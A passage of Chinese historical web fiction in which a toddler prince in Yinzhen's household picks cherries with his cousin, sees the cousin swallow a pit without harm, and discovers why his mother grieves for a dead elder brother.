康熙闻言,便叫梁九功传膳,转而又抱着弘晏站起来:“老四,你不吃,就坐等吧,朕与福宝用完了午膳,你再将福宝带回府去。” 话音落下,康熙已然抱着弘晏坐到了檀木龙纹八仙桌旁。 胤禛见状,明白了康熙要留的人并不是自己,自己可是沾了弘晏的光,遂开始自圆其说:“儿臣忽而有些饿了,多谢汗阿玛赐膳。” 话音落下,胤禛便跟着坐下了。 此时,御前的小太监捧着铜盆过来,康熙便开始给怀里的弘晏洗手。 胤禛伸出手来:“汗阿玛,还是儿臣来吧。” 康熙的眼睛里满是慈爱:“无妨,朕给福宝洗手也是一样的。” 待康熙给弘晏洗干净了手,胤禛连忙将帕子呈上。 弘晏吃饭吃得香甜满足,看得康熙食欲大开,这一顿可吃了不少饭食。 一旁侍候的梁九功也是欣慰的紧。 用罢午膳,胤禛便带着弘晏打道回雍亲王府。 刚坐上马车不久,车厢里的弘晏已然窝在胤禛怀里睡着了。 胤禛见着弘晏呼吸绵长,连带着小肚子也是一鼓一鼓的,不禁来了兴趣,抬手捏了下弘晏的小鼻子。 跟个小猪似的,吃饱了就睡。 弘晏睡得不安稳,眉头一皱,嘴角发出了“哼哼”的声音来。 胤禛只好换了个能让弘晏睡得舒服的姿势,又腾出一只手来,轻轻拍打着弘晏的小身子。 第70章 第70章采摘樱桃 夏日炎炎,鸟语蝉鸣。 雍亲王府内。 弘晏换上了轻薄的衣衫,正院的屋子里也放了冰鉴,吃完午膳,弘晏就打起了瞌睡虫。 乌拉那拉氏本想抱着弘晏去内室的拔步床上午睡,弘晏却不愿意。 这外间的檀木小榻背靠着雕花木窗,两旁又摆着冰鉴,在这里睡可是比在内室睡凉快多了。 乌拉那拉氏只好由了弘晏,谁知乌拉那拉氏一个没看着,弘晏就将上半身的衣衫脱了,露出白胖胖的小身子和一个红肚兜。 衣衫的料子再轻薄透气,可人总是要行走活动的,免不了身上要出汗,如今将衣衫脱了才是真凉快呢。 要不是为了遮羞,他连红肚兜和裤子也想脱了呢。 弘晏凉快了没两分钟,就被乌拉那拉氏拉过来,要给他套上衣衫。 弘晏不情愿地哼哼起来:“额凉,热,好热。” 乌拉那拉氏半哄半吓道:“这不是放了冰鉴嘛,衣衫再脱了,着凉了可怎么好,又想喝苦药汤了?” 弘晏扬了扬小脸儿,他现在可不是吃奶的小娃娃了,不会那么轻易就上当的。 苦药汤他已经喝过了,也没什么大不了的。 弘晏开始扑腾:“热,热,不穿,不穿。” 乌拉那拉氏肃容道:“福宝,你不听话,额娘可叫人将冰鉴撤了。” 弘晏一屁股坐在了小榻上,低着小脑袋,撅着小嘴也不吭声。 王乳娘见母子两个斗起气来,忙上前说道:“福晋,六阿哥不愿穿,许是后背出汗,热得厉害,不若将衣衫盖在身上,护着肚子便是了。” 乌拉那拉氏瞧着与她怄气的弘晏,点了点头。 王乳娘拿了枕头扶着弘晏躺在小榻左侧,转而将衣衫盖在弘晏身上。 待弘晏睡熟之后,乌拉那拉氏便吩咐银烛与流萤将两个冰鉴抬远了些。 这一觉弘晏睡得很香,醒来后却瞧见坐在小榻右侧的乌拉那拉氏在流泪。 弘晏还以为自己看花了眼,遂抬起小拳头揉了揉眼睛,再望去时,乌拉那拉氏的脸颊上确实有泪珠滑落。 而且,乌拉那拉氏一边无声的落泪,一边又奋笔疾书写着什么。 弘晏骨碌着小身子坐起来,而后又站起来喊道:“额凉。” 乌拉那拉氏赶忙擦了眼泪,笑着站起身走到弘晏面前,接着俯身抬手拿起了弘晏落在小榻上的衣衫:“福宝醒了。” 弘晏直接抱住了乌拉那拉氏,说话的声音软绵绵地:“额凉,福宝乖乖。” 乌拉那拉氏一愣,而后明白过来,许是弘晏醒来时瞧见自己落泪,还以为自己是在生他不愿穿衣睡觉的气。 乌拉那拉氏的心情有些复杂,哽咽道:“福宝一直都很乖啊,额娘的福宝最好了。” 弘晏松开乌拉那拉氏,扬着小脸儿:“额凉哭了。” 乌拉那拉氏将弘晏抱到怀里,转而又走到小榻右侧坐下,边给弘晏穿衣衫,边胡诌道:“那是因为这冰鉴里散出来的凉气,刮进了额娘的眼睛里。” 这解释,弘晏是一个字都不信。 弘晏没吭声,抬起胳膊,由着乌拉那拉氏给自己穿衣衫。 不过,弘晏眼睛一低,倒是瞧清楚了矮桌上面放着的东西。 原来,乌拉那拉氏是在抄写佛经啊。 可抄写佛经,又为何会落泪? “福宝,饿不饿?” 乌拉那拉氏的话将弘晏拉回了现实。 弘晏摇了摇小脑袋:“额凉,窝要骑摇摇马。” “好。”乌拉那拉氏说着,给弘晏穿好鞋后,便将人放了下来。 弘晏哒哒的跑过去,王乳娘便将弘晏抱坐到摇摇马上面了。 而乌拉那拉氏又继续抄写起了佛经。 少顷,胤禛迈步入内,对着摇摇马上面的弘晏喊道:“福宝。” 弘晏一扭脸,便冲着胤禛笑:“阿玛。” 乌拉那拉氏将狼毫笔放下,站起身对着胤禛行了礼。 胤禛笑了笑,转而对着弘晏说道:“福宝,你十三叔约我去樱桃园摘樱桃,弘晈也在,你可去?” 如今日头偏西,已然没有那么晒了。 况且,难得胤祥有雅兴相邀,他自当奉陪。 弘晏立马朝着胤禛伸手要抱抱:“去,去。” 胤禛俯身将弘晏抱到了怀里。 随后,弘晏又冲着抄写佛经的乌拉那拉氏说道:“额凉,等窝给你摘樱桃吃。” 乌拉那拉氏笑着:“好,额娘等着福宝。” 片刻后,胤禛带着弘晏便坐上马车出发了。 车厢里,弘晏兴冲冲的掀开了马车帘子,瞧见了那小商贩摊上转悠的五色风车,转而又对着身旁的胤禛说道:“阿玛,窝要风车。” 胤禛闻言,掀开另一侧的马车帘子,对着苏培盛吩咐道:“苏培盛,去买一个风车。” 苏培盛闻言,抬手比了个“停”的手势。 马车就此停下。 弘晏赶忙爬到马车帘子旁,对着苏培盛说道:“苏苏,窝要两个。” 正准备去买风车的苏培盛,迟疑地看向了胤禛。 弘晏拉着胤禛的袖子,对着胤禛解释道:“阿玛,窝要给弘晈弟弟。” 胤禛抬手摸了摸弘晏的小脸蛋儿,应声道:“好。” 不一会儿,苏培盛将两个风车从马车帘子里递给了胤禛,胤禛又递给了弘晏。 马车继续向前行驶,弘晏手拿着五色风车,鼓着小嘴吹起气来,只见小风车缓缓地转了起来。 弘晏高兴地将风车送到胤禛面前,邀请道:“嘿嘿,阿玛吹吹。” 胤禛都这么大的人了,自然不屑于玩这种小娃娃玩的玩意儿,可瞧着弘晏亮闪闪充满期待的目光,哪里说的出拒绝的话来,便凑过去,鼓起嘴吹了两下。 弘晏瞧着快速转动的风车,却很是捧场:“阿玛好腻害。” 玩了会儿风车,弘晏忽然想起了什么来,凑到胤禛身边说道:“阿玛,额凉哭了。” 胤禛一愣:“福宝,可知你额娘为何哭?” 弘晏摇了摇小脑袋:“额凉写字,哭了。” 他虽然心里清楚乌拉那拉氏在抄写佛经,可对着胤禛却不能说的那么具体。 毕竟,他现在只是一个两岁的娃娃,怎么能懂得佛经呢。 写字? 胤禛想起来了,福晋今日好像在眷写佛经。 至于哭? 胤禛遂出声问:“苏培盛,今个儿是什么日子?” 马车帘子外的苏培盛闻言,立马回禀道:“爷,今个儿是六月初五。” 六月初五? 胤禛这便彻底明白了,随即抬手按了按眉心。 明日是六月初六,他竟然忘了个干净。 弘晏瞧着胤禛脸色变了,便将手上的五色风车先放下,而后站起身来凑过去,抬手摸向了胤禛的俊朗的眉峰:“阿玛,揉揉,不痛。” 柔软的小手指在眉峰上点来点去,胤禛又将弘晏抱坐到膝头:“好福宝,阿玛没事儿。” 一个两个都说没事儿,分明就是有事瞒着他。 弘晏在心里思忖着。 到了樱桃园,胤禛抱着弘晏下了马车,一入园,便瞧见了坐着的胤祥与弘晈。 弘晈一瞧见弘晏,直接蹦下了凳子,冲着弘晏哒哒跑过去:“福宝锅锅。” 弘晏展开双臂抱了抱弘晈:“弘晈弟弟。” 而后,弘晏冲着走过来的胤祥说道:“十三叔好。” 胤祥笑着点了点头。 弘晈闻言,从弘晏怀里出来,对着胤禛拱手道:“四伯好。” 胤禛应了一声:“嗯。” 随即,胤禛又望向了胤祥:“我们父子可是来晚了?” 胤祥答道:“不晚,我与弘晈也是刚到。” 弘晏忽而想起什么,一双黑溜溜的眼珠望向胤禛身旁的苏培盛。 苏培盛赶忙着将手上的五色风车递给了弘晏。 弘晏笑吟吟的将五色风车递向弘晈:“弟弟,给泥。” 弘晈的眸子灿若星河,笑眯眯道:“谢谢锅锅。” 接过五色风车后,弘晈鼓起小嘴开始吹风车,见风车转的慢,又上手扒拉了两下,风车受了力,快速转动起来:“阿玛,看。” 胤祥笑了:“弘晈,和你福宝哥哥摘樱桃去吧,阿玛和你四伯有话要说。” 弘晈刚刚点了点小脑袋,没拿风筝的那只小手就被弘晏牵了起来。 两个小团子摇摇晃晃的在前面走着,四个小太监跟了上去看顾着,胤禛与胤祥则坐到了一旁品茗说话。 弘晏一眼望过去,那片碧绿高大又茂密的樱桃树上挂满了红彤彤、圆溜溜的樱桃果实。 小太监甲弓身道:“两位小阿哥若是想亲自采摘,奴才们驮着您。” 弘晏一口答应:“好啊。” 这樱桃树这么高,就算他和弘晈两个人摞起来也够不着。 听到小主子的回答,小太监甲、乙上前,分别将弘晏与弘晈驮在身上,小太监丙、丁分别拿了篮子站立在弘晏与弘晈身旁,而后将手上的篮子高高举起,方便两位小阿哥放樱桃。 俗话说:“站得高看得远”,弘晏一上小太监甲的肩膀,视野一下子就宽阔了。 弘晈是头一回被人这么高高地驮在身上,难免有些怕,两个小拳头攥的紧紧的,小身子也不敢动。 弘晏发觉了这一点儿,笑着说道:“弟弟别怕,他们很稳的。” 话说着,弘晏抬起手就够了一个红艳艳的樱桃给弘晈看。 小太监乙也察觉了弘晈僵硬的身子,说道:“弘晈阿哥放心,奴才绝不会摔了您的,您放心大胆的摘樱桃。” 有了弘晏的鼓励和小太监乙的保证,弘晈点了点小脑袋,随即,大胆的伸出手,去学着弘晏的样子,摘了第一颗樱桃,然后展示给弘晏看。 “嘿嘿,弟弟棒。”弘晏说着,将手里方才摘下的红樱桃,放进了小太监丙的篮子里。 弘晈有样学样的将自己手里的红樱桃,也放进了小太监丁的篮子里。 弘晏及时鼓励:“弟弟,做得好。” 听着弘晏对自己的夸奖,弘晈笑了。 其实,只要大胆地迈出了第一步,弘晈发现也没有什么吓人的,于是开始摘第二颗樱桃。 弘晏见弘晈摘樱桃渐入佳境,自己也放心的摘起面前的樱桃来,他可要多摘一些又大又红的樱桃回去。 另一边,胤禛与胤祥商谈完正事,便又关心起了胤祥的腿。 “前些日子,汗阿玛派了太医入府,他与柳从南医治的办法虽略有不同,但都只能暂时缓解我的腿疾。”胤祥说完,怕胤禛担心自己,又笑道:“不过,我这腿比起从前可是好多了。” 胤禛心里虽然着急,但也清楚这病要根治得慢慢来,急不得,况且现在胤祥面色红润,整个人都精神多了。 胤禛出声道:“是啊,十三弟,虽先有君臣,后有父子,但汗阿玛到底还是在意你的。” 当年之事,谁是谁非,现今都不重要,重要的还是圣心。 胤祥点头道:“四哥的意思,我明白。” 与此同时,弘晏摘樱桃已然有些累了,嗓子也有些干,而那红艳艳的樱桃就摆在眼前,实在诱人,弘晏就从篮子里拿起一个樱桃,往袖子上擦了擦,就将红艳艳的樱桃喂进了嘴里。 下一瞬,弘晏便眼睛亮亮地对着弘晈说道:“弟弟,樱桃甜甜的。” 弘晈听了这话,也从篮子拿起一个红樱桃喂进了嘴里:“锅锅,好甜。” 弘晏点了点头,随即将樱桃籽吐在手心里,而后扔在了地上。 弘晏一抬眸,见身旁弘晈的嘴巴停止了咀嚼,便说道:“弟弟,樱桃籽你还没吐呢。” 他可没瞧见弘晈吐樱桃籽。 此刻的弘晈愣了愣,反应过来后,委屈巴巴的瘪着嘴说道:“咽了。” 弘晏下意识的“啊?!”了一声。 可此时的弘晈,两只眼睛里已然蓄满了泪,“嗷呜”一声大哭起来。【你现在阅读的是 】 70-80 第71章 第71章虚惊一场 胤禛与胤祥听到哭声,忙起身赶去,瞧见的便是弘晏正在哄嗷嗷哭的弘晈,其余四个小太监都围着两个小团子。 胤祥问道:“弘晈,这是怎么了?” 弘晈哒哒跑过去,边哭边喊道:“阿玛,呜呜。” 弘晏则对着面前的二人说道:“阿玛,十三叔,弘晈弟弟把樱桃籽咽下去了。” 弘晏的声音落下,四个小太监齐齐跪在地上请罪。 给弘晈举篮子的小太监丁说道:“两位爷饶命,弘晈阿哥动作太快,奴才来不及嘱咐樱桃籽吃不得。” 胤祥一把将弘晈抱起来,哄道:“弘晈,不哭了,来张嘴,阿玛瞧瞧。” 弘晈听了哭声,抽泣着将嘴巴张开了。 胤祥继续哄道:“弘晈乖,再张大些。” 嗓子里没有,果然是咽到肚子里去了。 胤祥耐下心来问道:“弘晈,肚子可疼?” 弘晈愣了片刻,随即摇了摇脑袋。 胤祥追问道:“那可有哪里不舒服?” 弘晈的眼睛里还闪烁着泪花,闻言又摇了摇小脑袋。 他因为害怕,只顾着哭了,身体好像也没有哪里不舒服。 弘晈哭了这么久,倒也没有不良反应,若樱桃籽不是卡在嗓子眼儿里,咽到肚子里去倒也没有什么大碍。 不过,还是要找个大夫来瞧才算是稳妥。 胤禛吩咐道:“苏培盛,几里外有一家药铺。” 苏培盛忙弓身道:“嗻,奴才这就骑快马去请大夫来。” 随后,胤禛俯身将弘晏抱到了怀里,轻抚着弘晏的后背:“福宝,有阿玛在。” 这孩子直愣愣的盯着弘 晈瞧,该是被吓到了。 这厢,弘晈已然停止了哭泣,胤祥正拿着帕子给弘晈擦哭花的小脸蛋儿。 只见弘晈双手放在肚子上,可怜巴巴的问道:“阿玛,肚肚里会长樱桃吗?” 胤祥一瞧弘晈捂住肚子,还以为弘晈是肚子不舒服,一下子就绷紧了弦,可弘晈问出来的话却又叫他松了弦且哭笑不得。 胤祥坚定的回答道:“不会的。” 弘晏这才明白过来,弘晈因为害怕而哭泣的原因,是担心肚子里长出樱桃树来。 没有阳光和水源,一颗小小的樱桃籽怎么会生根发芽呢,更别提长成一棵大树了。 不过,瞧着弘晈还是有些害怕的模样,弘晏挣扎着要从胤禛怀里下去,转而拿起五色风车来逗弘晈,转移他的注意力。 果然,弘晈瞧见了五色风车跟着跑起来的弘晏而转动起来后,便忘了樱桃籽的事儿了。 少顷,苏培盛策马而归,带回了一位胡子花白的拎着药箱的老者。 病情在来的路上,苏培盛已然告知,是以这老者下了马,便直接走向了弘晈。 片刻后,老者对着胤禛与胤祥说道:“小阿哥无碍,这樱桃籽既然咽到了肚子里,定会运到小肠子里去,最后再从大肠里拉出来,也就是了,若是用药强行催吐出来也可,只是小阿哥便要受苦了。” 既然无碍,胤祥自然舍不得弘晈再受苦。 胤禛见状,一个眼神过去,苏培盛心领神会,便将老者送出去。 胤祥望向尚跪在地上的四个小太监,朗声道:“阿哥无事,今日便不追究了,尔等日后警醒些。” 小太监甲乙丙丁皆齐声道:“谢十三爷开恩,奴才日后定当尽心。” 出了这档子事儿,胤禛与胤祥便准备带着弘晏与弘晈打道回去了,可弘晈却不答应。 既然他的肚肚不会长出樱桃,干嘛要回去? 还不如在樱桃园里多玩会儿,毕竟阿玛又不常带他出来玩耍。 有了这次教训,他以后吃樱桃将樱桃籽吐出来就是了。 红艳艳的樱桃多甜啊。 他也想和福宝哥哥多待一会儿呢。 胤禛与胤祥自然知晓两个孩子没有尽兴,决定回去也是担心弘晈,只是弘晈如今不愿回去,倒不如让他们再玩一会儿。 胤禛与胤祥松了口,弘晈又兴冲冲的拉着弘晏的手,两个小人儿摇摇晃晃的向樱桃树走过去。 胤祥无奈道:“这孩子,一会儿哭一会儿笑,也不知随了谁。” 胤禛闻言,接话道:“孩子嘛,本就如此。” 一个时辰后,众人满载而归。 两辆马车进了城门,胤禛与胤祥就此告别。 待马车稳稳停在了雍亲王府门前,胤禛抱着弘晏往正院去。 跨进了垂花门,弘晏从胤禛身上下来,颠颠的跑进去:“额凉,窝回来了。” 屋内的乌拉那拉氏面上一喜,俯身抱起了奔向他的弘晏。 乌拉那拉氏凑上去,亲了亲弘晏的小脸蛋儿:“福宝,累不累啊?” 弘晏摇了摇小脑袋:“额凉,窝摘了好多大樱桃。” 弘晏一边说着,一边腾出两只小手来给乌拉那拉氏比划。 乌拉那拉氏笑嘿嘿道:“福宝真能干。” 随即,乌拉那拉氏抱着弘晏坐在小榻旁,流萤端上了一盘洗好的红樱桃。 弘晏忙伸手抓起一个就要喂给弘晏:“额凉,吃吃。” 弘晏满是期待的看着乌拉那拉氏咀嚼樱桃:“额凉,甜吗?” 乌拉那拉氏贴了贴弘晏的小脸儿:“甜,福宝摘的樱桃真甜。” 被忽略的胤禛有些吃味儿,清了清嗓子,而后看向弘晏。 弘晏挣扎着从乌拉那拉氏怀里下来,转而又爬到胤禛身上,从碟子里抓起一个樱桃塞进胤禛嘴里,笑嘿嘿道:“阿玛,吃。” 话音落下,弘晏又从碟子里抓了一把樱桃,一个一个地塞进胤禛嘴里。 弘晏的爱如潮水般汹涌澎湃,胤禛招架不住,两个腮帮子已然鼓起来了,囫囵道:“福宝,够了。” 一旁的乌拉那拉氏掩唇笑着。 弘晏这才停下,转而从跑到了乌拉那拉氏怀里坐着。 胤禛憋了一嘴的樱桃,只慢慢地咀嚼着,最后拿着帕子挡住嘴,竟吐出来十几个樱桃籽来。 胤禛喝了口茶顺气,转而看向了偷笑的弘晏。 弘晏小身子一扭,窝进乌拉那拉氏怀里,只留一个背影给乌拉那拉氏。 胤禛起身走过去,在弘晏的小屁股上不轻不重地拍了一下。 弘晏这便告起状来:“额凉,屁屁疼。” 乌拉那拉氏闻言,托住弘晏的小屁股,抬眸望向胤禛,嗔道:“爷。” 胤禛嘴角勾了勾,转而又坐了回去。 过了会儿,乌拉那拉氏对着怀里的弘晏商量道:“福宝,明日额娘要去潭柘寺一趟,你乖乖在府里玩,可好?” 弘晏一边吃樱桃,一边点着小脑袋:“好啊。” 弘晏这般爽快倒是让乌拉那拉氏出乎意料了。 一旁喝茶的胤禛闻言,将手中托着的茶盏放下:“福宝,明日阿玛要与你额娘一同去潭柘庙进香,你在府里若觉得无趣,便寻弘历与弘昼一道玩。” 弘晏将樱桃籽吐在了面前摆放的小白瓷碟子里,又点了点小脑袋:“好呀。” 乌拉那拉氏一直瞧着弘晏,总觉得不对劲。 这孩子今日答应的太干脆了些。 回想上次去红螺寺,她说了不带弘晏去,这孩子可是哭闹了许久呢。 等到晚上弘晏睡着了,乌拉那拉氏出了内室坐到临窗的小榻上,对着胤禛说道:“爷可事先对福宝说了明日要去潭柘寺?” 胤禛闻言,将手上的书放下,抬眸看向乌拉那拉氏:“未曾。” 乌拉那拉氏喃喃道:“那就怪了。” 胤禛不解问道:“怪什么?” 乌拉那拉氏便将之前要去红螺寺的事与胤禛讲了。 胤禛听完,觉得乌拉那拉氏是多虑了。 小孩子一时兴起也是有的。 不过见乌拉那拉氏尚存疑虑,胤禛便将白日樱桃园里发生的事情对乌拉那拉氏讲了。 末了,胤禛又道:“福宝许是让弘晈给吓着了,又或许是自责。” 乌拉那拉氏出声道:“可这也不是福宝的错啊。” 一个意外而已。 胤禛见乌拉那拉氏误解了自己的意思,忙道:“爷没有怪福宝的意思,也未曾认为这是福宝的错,爷是觉得福宝早慧。” 他只比弘晈大了一个月,可在弘晈面前,行事做派已然有了哥哥的模样,会给弘晈带五色风车,在弘晈哭泣的时候,同岁的孩子或多或少情绪会被影响,而弘晏却会拿着风车逗弘晈开心。 乌拉那拉氏顿了顿,方道:“爷若这么说,那福宝便是心疼妾身,才答应的那般干脆。” 胤禛面露不解。 乌拉那拉氏叹了口气:“福宝他瞧见我落了泪。” 白日里,她是瞧弘晏睡熟了才开始抄写佛经的,当时弘晏并未有动静,她也不知弘晏醒了。 只是手中持笔抄写佛经时,不由得想起了往事牵动愁肠,这才落下泪来。 胤禛的眸子暗了一瞬,嘴唇动了动,终究没再说出什么来。 第二日,弘晏欢欢喜喜的送走了胤禛与乌拉那拉氏,便带着王乳娘去送樱桃。 他昨日摘了好几篮子,一个人也吃不完,不如分享出去。 先去如意室给弘历送了樱桃之后,弘晏带着王乳娘又去了邀月轩。 坐在小榻上晃悠着两条小短腿,而手上又倒拿《三字经》的弘昼,见着弘晏来了,立马将《三字经》扔在了榻上,随即蹦了下来,直奔着弘晏跑过去:“好弟弟,还是你想着好。” 隔老远,弘昼就瞧见那篮子里红艳艳的樱桃了。 耿格格叫秋叶洗了一盘红樱桃、又端来两盘点心,随即招呼弘晏坐到小榻上来。 弘晏拿起第一颗樱桃递给了坐在对面的耿格格:“姨凉,吃。” 耿格格欢喜道:“六阿哥有礼了。” 耿格格正欲将红樱桃送进嘴里,就见对面的弘晏问道:“姨凉,今天是什么日子?阿玛和额凉要去寺里?” 耿格格脸上的笑意一僵,眼眸闪烁着,边转着手里的红樱桃,边说道:“今个儿不就是六月初五,你阿玛与额娘不过是去进香罢了。” 弘晏“哦”了一声。 耿格格含糊其词,果然有问题。 弘晏没再追问,吃了块点心后,便寻借口离开了邀月轩。 据他的观察,钮祜禄格格是精明之人,是以, 方才去如意室时,他压根没有提起胤禛与乌拉那拉氏去潭柘寺的事儿。 而耿格格性子柔静,待他又亲切体贴,所以他才问了耿格格。 很显然,耿格格知晓内情,只是不愿或是不敢擅自告诉他罢了。 王乳娘自然听见了弘晏与耿格格的对话,好在耿格格还算是个聪明的。 不过,弘晏既然提起了此事,她还是要出言安抚一二才是。 “阿哥,王爷与福晋是去进香祈福,很快就会回来了。” 王乳娘说完,弘晏点了点小脑袋。 “乳凉,窝明白的。” 一个两个,嘴都那么严,那他就找个嘴松爱说的就是了。 第72章 第72章母子情深 弘晏带着王乳娘又来到了前院弘时居住的屋子。 还没迈进门槛,弘晏就瞧见书案后坐着的弘时右手持着狼毫笔久久未落,左手旁已然放了好几个攥成球的纸团,脸上更是愁成了一个苦瓜样儿。 弘晏抬起小短腿迈过门槛,冲着弘时喊道:“三锅锅。” 弘时闻声看去,满是意外,随即松了狼毫笔就站起身朝着弘晏走过来:“六弟,你怎来了?” 弘晏指向王乳娘手里拎着的小篮子:“给泥送樱桃。” 弘时感动极了,直接俯身将弘晏抱了起来:“好弟弟,难为你想着我。” 弘时如今十一岁了,抱起一个两岁的小娃娃已然是轻而易举的事情了。 这厢,弘时将弘晏放在了小榻上,弘晏摸了摸自己空荡荡的袍子,转而对着王乳娘说道:“乳凉,窝的小兔玉佩没了。” 王乳娘定睛一瞧,可不是,从正院出来时六阿哥腰带上还挂着小兔玉佩,走路时还随着六阿哥的步子一晃一晃的呢。 弘时闻言,立马将两只手摊平:“六弟,我没见也没拿你的小兔玉佩。” 弘晏瘪了瘪嘴,委屈又着急。 王乳娘见状,忙出言哄道:“阿哥别急,许是落在邀月轩了,奴婢这就回去找。” 话说完,王乳娘又对着弘时说道:“烦三阿哥先看顾着六阿哥。” 弘时一口答应:“乳娘放心去,六弟有我呢。” 王乳娘将盛着樱桃的篮子放下,朝着弘时福了个身,便急急忙忙的出门往邀月轩去了。 弘晏瞧着王乳娘走远了,眼睛转了转,而后又当着弘时的面儿,叹了口气。 弘时摸了摸弘晏的小脑袋,出言安慰:“六弟,你放心,小兔玉佩又没长腿,既然在府里就一定找的到,众人都知这小兔玉佩是阿玛送你的周岁礼,哪个吃了豹子胆的奴才敢摸了去。” 弘晏看向一脸关切的弘时,摇了摇小脑袋:“不是介个。” 弘时迷茫了:“那是什么?” 弘晏低着小脑袋,扣着小手指头,委屈巴巴道:“三锅锅,昨日额凉哭了,今日出门不带窝,是不是窝不乖?” 弘时立马回答道:“当然不是了。” 弘晏却是不信,抽了抽鼻子,眼看就要掉泪珠子。 弘时哪里忍心弘晏蒙在鼓里,抬眸四处张望了一下,方才对着弘晏说道:“六弟,事情不是你想的那般,原委我可以告诉你,但你可不能告诉阿玛与嫡额娘。” 弘晏忍住快要扬起的嘴角,抬眸冲着弘时一脸坚定的点了点小脑袋。 “你既然喊我一声‘三哥哥’,便知咱们上头还有二位兄长,二哥哥名唤弘昀是我一母同胞的亲哥哥,只是他早早就夭折了,至于大哥哥,名唤弘晖,与你一母同胞,是嫡额娘所生,听我额娘说,大哥哥自幼聪慧,三岁能文,五岁通经,只可惜六岁时病重,高热不退,不治而亡了。” 弘时说完,才想起了自己说得过于复杂,两岁的弘晏不一定听得懂,又解释道:“不治而亡就是人没了,去了另一个世,今日是大哥哥亡故的日子,嫡额娘与阿玛去潭柘寺是给大哥哥祈福的。” 弘晏点了点小脑袋。 他的猜测果然不错,能引胤禛与乌拉那拉氏那般惆怅的,也只有故去的弘晖了。 王乳娘欢喜的声音由远而近:“六阿哥,小兔玉佩找到了,果然是落在邀月轩了。” 弘时冲着弘晏眨了眨眼睛:“六弟,我就说一定能找到的。” 弘晏明白弘时的暗示,笑嘿嘿的由着王乳娘给自己系上了小兔玉佩。 与弘时玩了一会儿,弘晏便带着王乳娘回了正院。 一炷香的功夫,乌拉那拉氏的声音传进了弘晏的耳朵里:“福宝,额娘回来了。” 下一瞬,乌拉那拉氏与胤禛就迈进了屋子里。 摇摇马上面的弘晏冲着乌拉那拉氏喊道:“额凉。” 乌拉那拉氏见弘晏并未有平日里的喜色,便道:“福宝,瞧瞧额娘给你带了什么回来?” 是一个兔子形状的糖画儿。 乌拉那拉氏将糖画儿塞到了弘晏手里,笑道:“福宝,尝尝,看看甜不甜?” 弘晏看着手里的兔子糖画儿,伸出舌头舔了一口,答道:“甜。” 虽然他的猜测是对的,可不知为何,他的心里却有股莫名的难受。 他之前发高热,乌拉那拉氏那般难受,甚至还与胤禛冷战,该是联想到了因高热而夭折的弘晖。 或许,乌拉那拉氏与胤禛对他这般疼爱,是将未来得及给弘晖的爱注入到了他的身上? 毕竟,历史上查无此人,他的存在本就是意外。 知子莫若母,乌拉那拉氏瞧着弘晏不对劲,便将弘晏从摇摇马上抱起来,而后落坐在檀木小榻上,腾出一只手来摸了摸弘晏的额头,并未有什么不妥。 乌拉那拉氏只以为弘晏是不高兴没带他出门,便道:“福宝,过几天便是十五,潭柘寺一定热闹,额娘再带你去玩,如何?” 弘晏一边点头,一边舔着兔子糖画儿。 这一切都是他自己的猜测罢了,若乌拉那拉氏与胤禛知晓他的内核是个玉兔精,估计还以为他是鬼怪附身,要请萨满做法驱邪呢。 弘晏过于安静,乌拉那拉氏总觉得不对劲,便瞧向了坐在对面的胤禛。 胤禛见状,开口问:“福宝,今日可去寻弘历、弘昼玩了?” 弘晏答道:“给三锅锅、四锅锅、五锅锅送樱桃。” 王乳娘见六阿哥没提小兔玉佩的事儿,她便也没多嘴。 不然,定落一个看顾不周的罪名。 可王乳娘又哪里知晓,小兔玉佩就是弘晏为了支走她,故意落在邀月轩的。 胤禛夸道:“好福宝,小小年纪便知与人分享。” 弘晏嘿嘿笑了笑。 待到夜幕降临,乌拉那拉氏哄睡了弘晏,对着胤禛说道:“爷,我总觉得弘晏藏着心事。” 一到弘晖亡故的日子,胤禛便知晓乌拉那拉氏会伤怀,多疑多思,遂道:“福晋多虑了,福宝一个两岁的娃娃,何来的心事。” 胤禛这话,乌拉那拉氏确实找不出辩驳的证据,但她心里总是不安稳。 “夜深了,福晋,早些安置吧。”胤禛说完,便起身沐浴更衣去了。 夜半,乌拉那拉氏因梦惊醒坐起来:“弘晖,弘晖。” 胤禛闻声,跟着坐起来:“福晋,可是梦魇了?” 乌拉那拉氏摇了摇脑袋,哽咽道:“不是梦魇,是弘晖,弘晖来我梦里了,他想额娘与阿玛了。” 定是她烧去的佛经起了作用。 胤禛嗫嚅着嘴唇,话到嘴边又咽了回去。 从前,他虽然自欺欺人,但心里明镜一般,弘晖夭折多年,早就投胎转世了。 乌拉那拉氏梦到弘晖,不过是日有所思,夜有所梦罢了。 弘晏骨碌着身子坐起来,唤道:“额凉。” 乌拉那拉氏将弘晏抱到怀里,轻轻抚摸着弘晏的后背:“福宝,额娘吵醒你了。” 弘晏望着黑暗中的乌拉那拉氏,言道:“额凉,是泥想弘晖锅锅了。” 弘晏此话一出,乌拉那拉氏抚摸的动作顿住了,惊讶道:“福宝,谁告诉你的?” 胤禛也是一惊。 他与乌拉那拉氏从未在弘晏面前提起过弘晖。 弘晏既然答应了弘时,就 绝不会出卖他,理直气壮道:“窝猜的。” 乌拉那拉氏眼眶渐湿:“福宝,弘晖确实是你哥哥,不过,他已经不在了。” 瞧见了一个母亲最脆弱的一面,弘晏下意识地抱住了乌拉那拉氏:“额凉,泥还有窝。” 乌拉那拉氏一愣,眼角的泪水无声滑落:“福宝,好孩子。” 乌拉那拉氏的泪水滴落到了弘晏手上,弘晏的手胡乱的摸向乌拉那拉氏的手:“额凉,不哭。” 乌拉那拉氏笑道:“好,额娘听福宝的,不哭。” 一旁的胤禛心里也难受的紧,但他却不信弘晏能猜的这般准,定人是有人对他说了什么。 天一亮,胤禛便命人去查。 但胤禛下值之后,事情就有了结果。 弘晏昨日分别去了如意室、邀月轩,还去了弘时那里。 钮祜禄格格与耿格格自然不敢乱言,弘历与弘昼还小,什么也不懂,而弘晏只与弘时独处了一段时间。 胤禛直接叫了弘时来书房,弘时本来就畏惧胤禛,一见着胤禛,立马就招了:“阿玛,我知道错了,可我也是心疼六弟啊,六弟与我说,嫡额娘不带他出门,以为嫡额娘不喜欢他,伤心的都要哭了,我这才和盘托出的。” 胤禛按了按眉心,摆了摆手,就叫弘时出去了。 弘时一愣,阿玛竟然没有训斥他,就这么放他走了。 下一瞬,弘时赶忙跑了出去,生怕胤禛改变主意。 胤禛回了正院,将事情告诉了乌拉那拉氏。 乌拉那拉氏很是错愕:“这傻孩子,怪不得昨日那般安静,我十月怀胎生下他,怎会不喜?” 乌拉那拉氏红了眼眶。 若无弘晏,她的日子只有伤愁与阴霾,哪里还有欢愉与艳阳。 